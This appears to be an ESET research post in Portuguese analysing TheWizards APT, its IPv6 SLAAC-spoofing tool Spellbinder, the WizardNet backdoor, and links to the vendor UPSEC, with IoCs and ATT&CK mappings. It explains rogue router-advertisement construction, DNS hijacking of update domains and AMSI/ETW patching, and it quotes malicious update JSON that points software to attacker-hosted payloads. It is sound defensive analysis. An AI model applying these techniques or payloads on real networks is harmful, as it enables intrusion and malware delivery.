Neste post, a equipe de pesquisa da ESET apresenta uma análise do Spellbinder, uma ferramenta de movimento lateral para realizar ataques do tipo adversary-in-the-middle, usada por cibercriminosos alinhados à China que chamamos de "TheWizards". O Spellbinder permite que ataques do tipo adversary-in-the-middle (AitM), por meio de falsificação de autoconfiguração de endereço sem estado IPv6 (SLAAC), se movam lateralmente na rede comprometida, interceptando pacotes e redirecionando o tráfego de software chinês legítimo para que ele baixe atualizações maliciosas de um servidor controlado pelos crimininosos.

Principais pontos deste post:
  • Descobrimos um downloader sendo implantado por mecanismos legítimos de atualização de software chinês nos computadores das vítimas.
  • O downloader procura implantar um backdoor modular que chamamos de WizardNet.
  • Analisamos o Spellbinder: a ferramenta usada para realizar ataques locais do tipo adversary-in-the-middle e para redirecionar o tráfego para um servidor controlado por criminosos a fim de fornecer o backdoor WizardNet característico do grupo.
  • Fornecemos detalhes sobre os vínculos entre a TheWizards e a empresa chinesa Dianke Network Security Technology, também conhecida como UPSEC.

Visão geral

Em 2022, notamos que uma DLL suspeita havia sido baixada pelo popular aplicativo de software de método de entrada chinês conhecido como Sogou Pinyin. A DLL, que recebeu o nome de um componente legítimo desse software, era um dropper para um downloader que recuperava um blob criptografado de um servidor remoto. O blob continha shellcode que carrega o backdoor que batizamos de WizardNet.

Nossa pesquisa levou à descoberta de uma ferramenta, usada pelos cibercriminosos, que foi projetada para realizar ataques do tipo adversary-in-the-middle utilizando IPv6 SLAAC spoofing para interceptar e responder a pacotes em uma rede, permitindo que os criminosos redirecionem o tráfego e forneçam atualizações mal-intencionadas direcionadas ao software chinês legítimo.

Vitimologia

O TheWizards tem estado constantemente ativo desde pelo menos 2022 até o momento em que este artigo foi escrito. De acordo com a telemetria da ESET, o TheWizards tem como alvo indivíduos, empresas de jogos de azar e entidades desconhecidas nas Filipinas, no Camboja, nos Emirados Árabes Unidos, na China continental e em Hong Kong. Sua distribuição geográfica é mostrada na Figura 1.

Figure 1. Geographical distribution of the victims, according to ESET telemetry
Figura 1. Distribuição geográfica das vítimas, de acordo com a telemetria da ESET.

Spellbinder, a ferramenta IPv6 AitM

Inicialmente, descobrimos e analisamos essa ferramenta em 2022 e observamos uma nova versão com algumas alterações que foi implantada em máquinas comprometidas em 2023 e 2024. Depois que os cibercriminosos obtêm acesso a uma máquina em uma rede-alvo, eles implantam um arquivo chamado AVGApplicationFrameHostS.zip e extraem seus componentes em %PROGRAMFILES%\AVG Technologies. Os arquivos incluem:

  • AVGApplicationFrameHost.exe
  • wsc.dll
  • log.dat
  • winpcap.exe

Em seguida, os criminosos instalam o winpcap.exe e executam o AVGApplicationFrameHost.exe. O último, originalmente chamado wsc_proxy.exe, é um componente de software legítimo da AVG que é usado para carregar lateralmente o wsc.dll; essa DLL simplesmente lê o shellcode do arquivo log.dat e o executa na memória. O shellcode descompacta e carrega o Spellbinder na memória.

O Spellbinder usa a biblioteca WinPcap para capturar e responder a pacotes quando necessário. A primeira tarefa é selecionar ou localizar um adaptador para realizar a captura de pacotes. O código usa a API pcap_findalldevs do WinPcap para obter todos os dispositivos adaptadores disponíveis. Os dispositivos são discriminados em uma lista numerada para o cibercrinoso. Opcionalmente, o Spellbinder aceita, como argumento, um índice que pode ser usado para escolher um adaptador dessa lista. Se um dispositivo não for fornecido, o Spellbinder usará as APIs GetBestInterface e GetAdapterInfo do Windows para encontrar um adaptador adequado e imprimirá suas informações na tela.

A Figura 2 mostra a saída do Spellbinder quando nenhum número de item é fornecido. Nesse caso, a ferramenta encontra o adaptador mais adequado por si.

Figure 2. Spellbinder’s output during its initialization phase
Figura 2. Saída do Spellbinder durante sua fase de inicialização.

Conforme mostrado na Figura 3, depois que um adaptador é encontrado, o Spellbinder usa a API WinPcap pcap_open_live para começar a capturar pacotes e cria dois threads: um para enviar pacotes ICMPv6 Router Advertisement (explicado na próxima seção) e outro para monitorar as alterações na rede. A API WinPcap pcap_loop faz o trabalho de invocar uma função de retorno de chamada do Spellbinder sempre que um novo pacote é capturado.

Figure 3. Spellbinder’s decompiled code that initializes the capture of packets and threads
Figura 3. Código descompilado do Spellbinder que inicializa a captura de pacotes e threads.

Tópico de anúncio de roteador

Esse vetor de ataque já havia sido discutido pela IETF em 2008 e decorre de uma configuração de rede incorreta, muitas vezes negligenciada, relacionada à coexistência dos protocolos IPv4 e IPv6. Em 2011, Alec Waters detalhou essa técnica, denominando-a de ataque SLAAC. O ataque explora o protocolo IPv6 Neighbor Discovery, especificamente as mensagens ICMPv6 do tipo Router Advertisement (RA), que informam aos dispositivos na rede a presença de um roteador IPv6. Com isso, os hosts compatíveis com IPv6 — ou que estejam procurando um roteador IPv6 — adotam o dispositivo que enviou o anúncio como gateway padrão.

 

No caso do Spellbinder, um pacote RA multicast é enviado a cada 200 milissegundos para o endereço ff02::1 (destinado a "todos os nós"). Máquinas com Windows e IPv6 habilitado realizam a autoconfiguração de endereço sem estado (SLAAC) com base nas informações recebidas nessas mensagens RA. Assim, começam a encaminhar o tráfego IPv6 para o dispositivo que executa o Spellbinder, onde os pacotes são interceptados, analisados e, quando aplicável, respondidos. A Figura 4 ilustra a primeira fase do ataque.

Figure 4. Illustration of the SLAAC attack carried out by Spellbinder
Figura 4. Ilustração do ataque SLAAC realizado pelo Spellbinder.

O pacote RA criado pelo Spellbinder é composto por quatro partes principais:

  • Sinalizadores RA: o sinalizador de "configuração de endereço gerenciado" está definido como 0, indicando aos hosts que devem utilizar a autoconfiguração de endereço sem estado (SLAAC).

  • Opção de Prefixo: informa ao host que deve usar o prefixo 2001:db8::/64 para gerar seu endereço IPv6. Esse prefixo pertence a um bloco reservado exclusivamente para fins de documentação e não é roteável pela Internet.

  • Opção de Servidor DNS Recursivo (RDNSS): fornece ao host os endereços de dois servidores DNS — 240e:56:4000:8000::11 e 240e:56:4000:8000::22. Ambos pertencem ao sistema autônomo AS4134, da infraestrutura backbone da China Telecom. No entanto, esses endereços não parecem responder a consultas DNS pela Internet, e não há evidências de que sejam servidores DNS legítimos.
  • Opção de Camada de Enlace de Origem: fornece o endereço MAC da máquina que executa o Spellbinder, a ser utilizado como o roteador padrão no segmento de rede local.

A Figura 5 apresenta uma das mensagens ICMPv6 RA enviadas pelo Spellbinder.

Figure 5. RA message sent by Spellbinder
Figura 5. Mensagem RA enviada pelo Spellbinder.

A Figura 6 mostra a saída do comando ipconfig /all do Windows antes e depois de executar o Spellbinder em uma máquina comprometida na rede.

Figure 6. Result of the Windows ipconfig command, before and after running Spellbinder
Figura 6. Resultado do comando ipconfig do Windows, antes e depois da execução do Spellbinder.

Processamento de pacotes

Conforme mencionado anteriormente, uma função de callback é responsável por processar os pacotes brutos capturados. O Spellbinder implementa seu próprio analisador de pacotes, capaz de identificar quais devem ser processados, respondidos ou apenas utilizados para exibir informações na tela para o cibercriminoso.

A Tabela 1 descreve alguns dos tipos de pacotes mais relevantes manipulados pela ferramenta, bem como as ações executadas para cada um deles.

Tabela 1. Protocolos e tipos de pacotes aos quais o Spellbinder pode responder.

Protocol Message type Action taken
DNS Query If the queried domain matches one of the domains in a list, it answers to the DNS query.
ICMPv6 Router Solicitation Sends an RA packet.
Router Advertisement Logs information about the packet.
Neighbor Advertisement (NA) Sends an NA packet.
DHCPv6 Solicit Sends an Advertisement message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses.
Information-request Sends a Reply message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses.
ARP Any Logs information about the packet.

Quando uma consulta DNS é detectada, o Spellbinder verifica se o nome de domínio solicitado está presente em uma lista de subdomínios codificada diretamente no código-fonte. A lógica responsável por essa verificação é ilustrada na Figura 7.

Figure 7. Decompiled code
Figura 7. Trecho de código descompilado responsável por verificar se o domínio consultado está presente em uma lista codificada de domínios-alvo.

A Figura 8 apresenta um subconjunto da lista codificada diretamente no Spellbinder. A lista completa de domínios-alvo inclui diversas entradas associadas a plataformas chinesas populares, como Tencent, Baidu, Xunlei, Youku, iQIYI, Kingsoft, Mango TV, Funshion, Youdao, Xiaomi e a interface MIUI da Xiaomi, PPLive, Meitu, Qihoo 360, Baofeng, entre outras.

Figure 8. Subset of domains targeted by Spellbinder
Figura 8. Subconjunto de domínios visados pelo Spellbinder.

Quando um domínio consultado via DNS é encontrado na lista codificada, o Spellbinder gera e envia uma resposta DNS, indicando um endereço IP também embutido no binário da ferramenta. Por exemplo, na versão de 2022, o endereço era 43.155.116[.]7, enquanto na versão mais recente conhecida — utilizada em 2024 — o endereço utilizado passou a ser 43.155.62[.]54.

Além disso, o Spellbinder notifica o invasor de que respondeu à consulta DNS. A Figura 9 exibe a saída da ferramenta, que inclui um dump hexadecimal estilizado do pacote completo, o comprimento em bytes e um título identificando a resposta como DNS ATTACK PAYLOAD.

Figure 9. Output of Spellbinder when answering to a DNS query of a targeted domain
Figura 9. Saída do Spellbinder ao responder a uma consulta de DNS de um domínio-alvo.

A Figura 10 mostra as informações do pacote.

Figure 10. Wireshark display of a DNS answer message sent by Spellbinder
Figura 10. Exibição do Wireshark de uma mensagem de resposta de DNS enviada pelo Spellbinder.

Sequestro de atualizações

Neste post, focamos em um dos casos mais recentes registrados em 2024, no qual o processo de atualização do software Tencent QQ foi sequestrado. O servidor malicioso responsável por emitir as instruções de atualização ainda estava ativo no momento da redação deste artigo. A Figura 11 ilustra a cadeia de eventos observada.

Figure 11. Compromise chain
Figura 11. Cadeia de comprometimento.

O componente legítimo de software, QQ.exe, envia uma solicitação HTTP para update.browser.qq.com. A ferramenta Spellbinder intercepta a consulta DNS para esse domínio e responde com um endereço IP de um servidor controlado pelo invasor — por exemplo, 43.155.62[.]54 — que, até o momento da redação deste artigo, ainda estava ativo e fornecendo atualizações maliciosas.

Ao receber a solicitação, o servidor de sequestro responde com instruções em formato JSON (a seguir apresentadas com formatação aprimorada para melhor leitura), direcionando o software a baixar um arquivo também hospedado nesse mesmo servidor:

{ "CSoftID": 22, "CommandLine": "", "Desp": "1.1.1160.80", "DownloadUrl": "http://43.155.62[.]54:81/app/minibrowser11_rpl.zip", "ErrCode": 0, "File": "minibrowser11.zip", "Flags": 1, "Hash": "da73153c76b6f652f9b2847531d1c367", "InstallType": 0, "NewVer": "39.1.1170.900", "PatchFile": "QBDeltaUpdate.exe", "PatchHash": "da73153c76b6f652f9b2847531d1c367", "Sign": "", "Size": 36673429, "VerType": "" }

Em seguida, o QQ.exe faz o download do arquivo minibrowser11_rpl.zip e implanta seu conteúdo na máquina da vítima; o minibrowser_shell.dll malicioso é então carregado.

Cadeia de execução após um ataque AitM bem-sucedido

A execução do malware em um computador comprometido se inicia com o carregamento da DLL maliciosa minibrowser_shell.dll, que atua como downloader. Essa biblioteca possui três funções de exportação, e a execução de qualquer uma delas ativa sua funcionalidade principal, porém, apenas se o nome do processo atual contiver “QQ”, como no caso de QQ.exe.

Utilizando a API WinSock, a DLL estabelece uma conexão TCP com um servidor controlado pelo invasor, de onde obtém um blob criptografado. Esse pacote de dados contém tanto o código do loader com suporte a execução independente de posição (position-independent code) quanto o backdoor WizardNet.

Código de shell do carregador

O loader começa tentando usar um desvio bem conhecido para o AMSI que corrige os primeiros bytes da função AmsiScanBuffer para retornar um código de erro, contornando assim o mecanismo que verifica a memória em busca de artefatos mal-intencionados. Em seguida, ele corrige o ponto de entrada da função EtwEventWrite com uma instrução RETN 0x14; isso tem o efeito de desativar o registro de eventos.

Para executar a carga útil na memória, o carregador inicializa o tempo de execução do .NET, conforme mostrado na Figura 12, usando as interfaces ICLRMetaHost, ICLRRuntimeInfo e ICorRuntimeHost, exigindo uma versão de tempo de execução v2.0.50727 ou v4.0.30319.

Figure 12. Decompiled code that initializes the .NET runtime to execute WizardNet in memory
Figura 12. Código descompilado que inicializa o tempo de execução do .NET para executar o WizardNet na memória.

Em seguida, a carga útil é descriptografada por meio de uma combinação simples de operações ADD e XOR. Após a descriptografia, a carga útil é carregada na memória utilizando o tempo de execução do .NET. Posteriormente, o ponto de entrada da carga útil é executado, permitindo a continuidade do ataque.

WizardNet

A carga útil final é um backdoor que chamamos de WizardNet, um implante modular que se conecta a um controlador remoto para receber e executar módulos .NET na máquina comprometida. Durante sua inicialização, ele cria um mutex chamado Global\<MD5(nome_do_computador)> e lê o shellcode de um arquivo chamado ppxml.db no diretório de trabalho atual ou o valor da chave HKCU\000000 e tenta injetá-lo em um novo processo do explorer.exe ou %ProgramFiles%\Windows Photo Viewer\ImagingDevices.exe.

A última etapa da fase de inicialização é criar um identificador exclusivo para o computador, chamado de SessionKey. Ele é o resultado do hash MD5 do nome do computador concatenado com o tempo de instalação do backdoor e o número de série da unidade de disco, com cada byte codificado em hexadecimal do valor do hash separado por @. A SessionKey é armazenada no caminho do registro HKCU\Software\<MD5(nome_do_computador)>\<MD5(nome_do_computador)>mid.

Dependendo da configuração, o WizardNet pode criar um soquete TCP ou UDP para se comunicar com o servidor C&C, e as mensagens trocadas são preenchidas com o algoritmo PKCS7 e criptografadas com AES-ECB; a SessionKey é usada como chave para criptografia e descriptografia e o IV é gerado aleatoriamente para cada pacote e colocado antes dos dados criptografados.

Essa variante do WizardNet oferece suporte a cinco comandos, conforme mostrado na Tabela 2. Os três primeiros permitem que ele execute módulos .NET na memória, ampliando assim sua funcionalidade no sistema comprometido.

Tabela 2. Visão geral dos comandos suportados pelo orquestrador.

Command ID Task
0x56 Load a .NET module into the orchestrator process. The module is received in the same message and loaded from memory.
0x57 Invoke a function from a .NET module loaded with the previous command.
0x58 Unload a module previously loaded with command 0x56.
0x59 Unload a Client plugin assembly. Call the u method implemented in the plugin assembly, presumably to clean up before being unloaded.
0x5A Send information to the server in two messages.
The first message contains system and orchestrator information:
 ·   machine name,
 ·   OS name and architecture,
 ·   time since system started,
 ·   WizardNet install date,
 ·   privileges of the current process,
 ·   security products,
 ·   name of the current process,
 ·   the previously described SessionKey, and
 ·   private IP address.
When obtaining a list of security solutions, it makes a list of running processes that match the following process names: 360tray, 360sd, kxetray, ksafe, avp, hipstray, qqpcrtp, avcenter, ashdisp, avgwdsvc, securityhealthsystray, mcshield, egui, and rtvscan.

Em dezembro de 2024, a equipe de pesquisa da Trend Micro publicou uma análise do kit de exploração MOONSHINE e do malware DarkNimbus para dispositivos Android. O conjunto de ferramentas é usado por um grupo que a Trend Micro rastreia como Earth Minotaur e que tem como alvo principalmente as comunidades tibetanas e uigures. Em janeiro de 2025, a Intelligence Online identificou a empresa chinesa Sichuan Dianke Network Security Technology Co., Ltd. também conhecida como UPSEC (Figura 13), como a fornecedora do malware DarkNimbus.

Figure 13. UPSEC’s website
Figura 13. Site da UPSEC.

A ESET rastreia o malware que a Trend Micro chamou de DarkNimbus como DarkNights (tanto para Windows quanto para Android); curiosamente, a Trend Micro nomeou o malware após a string DKNS presente nos nomes das funções do malware, e nós fizemos o mesmo(DarkNights) quando descobrimos o malware. Em abril de 2025, o NCSC UK publicou um aviso sobre o malware BADBAZAAR e o MOONSHINE, mencionando também o UPSEC em relação à pesquisa da Trend Micro sobre o Earth Minotaur.

Embora o TheWizards use um backdoor diferente para Windows (WizardNet), o servidor de sequestro é configurado para servir o DarkNights para atualizar aplicativos em execução em dispositivos Android. Embora não tenhamos visto nenhuma vítima na telemetria da ESET, conseguimos obter uma instrução de atualização maliciosa para a versão Android do Tencent QQ:

{"packages": [{"versionCode": 90999, "rules": [], "versionRegion": "", "plugins": [{ "name": "AudioFirstPiece", "packageId": "audiofirstpiece", "sampleRate": 10000, "sampleRateHigh": 12, "url": "http://43.155.62[.]54:81/app/plugin-audiofirstpiece.ml", "md5": "a961766c1b2e5133d589be1cf47e3338" }] }] }

O arquivo plugin-audiofirstpiece.ml é um arquivo ZIP que contém apenas um arquivo classes.dex, que é o DarkNights para Android. Isso indica que a Dianke Network Security é um intendente digital do grupo APT TheWizards.

A ESET continua rastreando o TheWizards independentemente do Earth Minotaur. Embora ambos os cibercriminosos usem o DarkNights/DarkNimbus, de acordo com a telemetria da ESET, o TheWizards tem se concentrado em alvos diferentes e usa infraestrutura e ferramentas adicionais (por exemplo, Spellbinder e WizardNet) que não foram observadas sendo usadas pelo Earth Minotaur.

Conclusão

Em 2022, descobrimos a atividade de um grupo APT alinhado à China, que chamamos de TheWizards. Durante nossa investigação, analisamos o malware e as ferramentas personalizadas desenvolvidas e utilizadas por esse grupo. Entre elas, destacamos a ferramenta IPv6 AitM, denominada Spellbinder, que permite aos invasores redirecionar os protocolos de atualização de software legítimo da China para servidores maliciosos. Nesse processo, o software das vítimas é induzido a baixar e executar atualizações falsas. Além disso, identificamos os componentes maliciosos que iniciam o backdoor, o qual denominamos WizardNet.

IoCs

Uma lista abrangente de indicadores de comprometimento e amostras pode ser encontrada em nosso repositório GitHub.

Arquivos

SHA-1 Filename ESET detection name Description
9784A1483B4586EB12D86E549D39CA4BB63871B8 minibrowser_shell.dll Win32/Agent.AGNF Downloader component.
4DB38A097AE4D5E70B2F51A8EE13B0C1EE01A2A1 Client.exe MSIL/Agent.DMS WizardNet backdoor.
76953E949AC54BE8FF3A68794EF1419E9EF9AFCB ipv6.exe Win64/Agent.CAZ Spellbinder tool (2022).
DA867188937698C7769861C72F5490CB9C3D4F63 N/A Win64/Agent.CAZ Spellbinder tool (2023), loaded in memory.
0CBA19B19DF9E2C5EBE55D9DE377D26A1A51B70A wsc.dll Win64/Agent.EUO Loads shellcode from log.dat.
1A8147050AF6F05DEA5FBCA1AE1FF2FFD2B68F9C log.dat Win32/Rozena.BXT Shellcode that loads Spellbinder.
2D376ADF44DBD9CF5DB08884E76192D0BC9984C4 plugin-audiofirstpiece.ml Android/Spy.Agent.EFF ZIP archive containing DarkNights for Android.
5B70A853D8E989AD102D639FBF7636B697313ABC classes.dex Android/Spy.Agent.EFF DarkNights for Android.

Rede

IP Domain Provider First seen Details
43.155.116[.]7 hao[.]com ACEVILLEPTELTD-SG 2022‑11‑06 Server issuing malicious updates to legitimate applications in 2022. Used by Spellbinder. (Note: Spellbinder hijacks requests to resolve the hao[.]com domain.)
43.155.62[.]54 vv.ssl-dns[.]com ACEVILLEPTELTD-SG 2022‑11‑29 Server issuing malicious updates to legitimate applications in 2023 and 2024. Used by Spellbinder.
43.135.35[.]84 mkdmcdn[.]com ACE-SG 2023‑11‑15 WizardNet C&C server.
103.243.181[.]120 assetsqq[.]com HK Kwaifong Group Limited 2021‑07‑15 DarkNights C&C server.
111.13.100[.]92 N/A CHINAMOBILE-CN 2021‑07‑15 DarkNights C&C server.

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 16 da estrutura MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1583.001 Acquire Infrastructure: Domains TheWizards has registered the domains hao[.]com, ssl-dns[.]com, and mkdmcdn[.]com.
T1583.004 Acquire Infrastructure: Server TheWizards acquired servers for hosting tools, C&C, and to serve malicious updates.
T1587.001 Develop Capabilities: Malware TheWizards uses custom malware such as the WizardNet backdoor and Spellbinder.
T1588.002 Obtain Capabilities: Tool TheWizards installs WinPcap on compromised machines; it is required by Spellbinder.
Initial Access T1659 Content Injection Spellbinder issues DNS answer messages with the IP address of a malicious server to hijack updates from legitimate applications.
Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell TheWizards uses cmd.exe to execute commands to download and execute tools.
T1106 Native API WizardNet uses CreateProcessA to execute processes it injects shellcode into.
Privilege Escalation T1055 Process Injection WizardNet can inject code into Windows processes.
Defense Evasion T1480.002 Execution Guardrails: Mutual Exclusion WizardNet creates a mutex to prevent other instances of the backdoor from running.
T1112 Modify Registry An unknown TheWizards component stores encrypted shellcode in the registry.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution The downloader and shellcode used by TheWizards dynamically resolve API addresses.
T1027.009 Obfuscated Files or Information: Embedded Payloads The shellcode obtained by the downloader contains WizardNet in encrypted form.
T1027.014 Obfuscated Files or Information: Polymorphic Code The file log.dat contains polymorphic decryption code that loads the Spellbinder tool into memory.
T1055 Process Injection WizardNet injects shellcode into another process.
T1055.004 Process Injection: Asynchronous Procedure Call WizardNet uses the QueueUserApc API to execute injected code.
Discovery T1518.001 Software Discovery: Security Software Discovery WizardNet obtains the name of running processes and matches them against a list of security solutions.
T1082 System Information Discovery WizardNet obtains system information such as computer name, uptime, OS name, etc.
T1124 System Time Discovery WizardNet gets the system time.
Command and Control T1105 Ingress Tool Transfer WizardNet can deploy tools and new modules obtained from its C&C.
T1095 Non-Application Layer Protocol WizardNet uses TCP and UDP to communicate with its C&C.
T1573.001 Encrypted Channel: Symmetric Cryptography WizardNet can communicate via TCP or UDP, and messages exchanged with its C&C are encrypted with AES.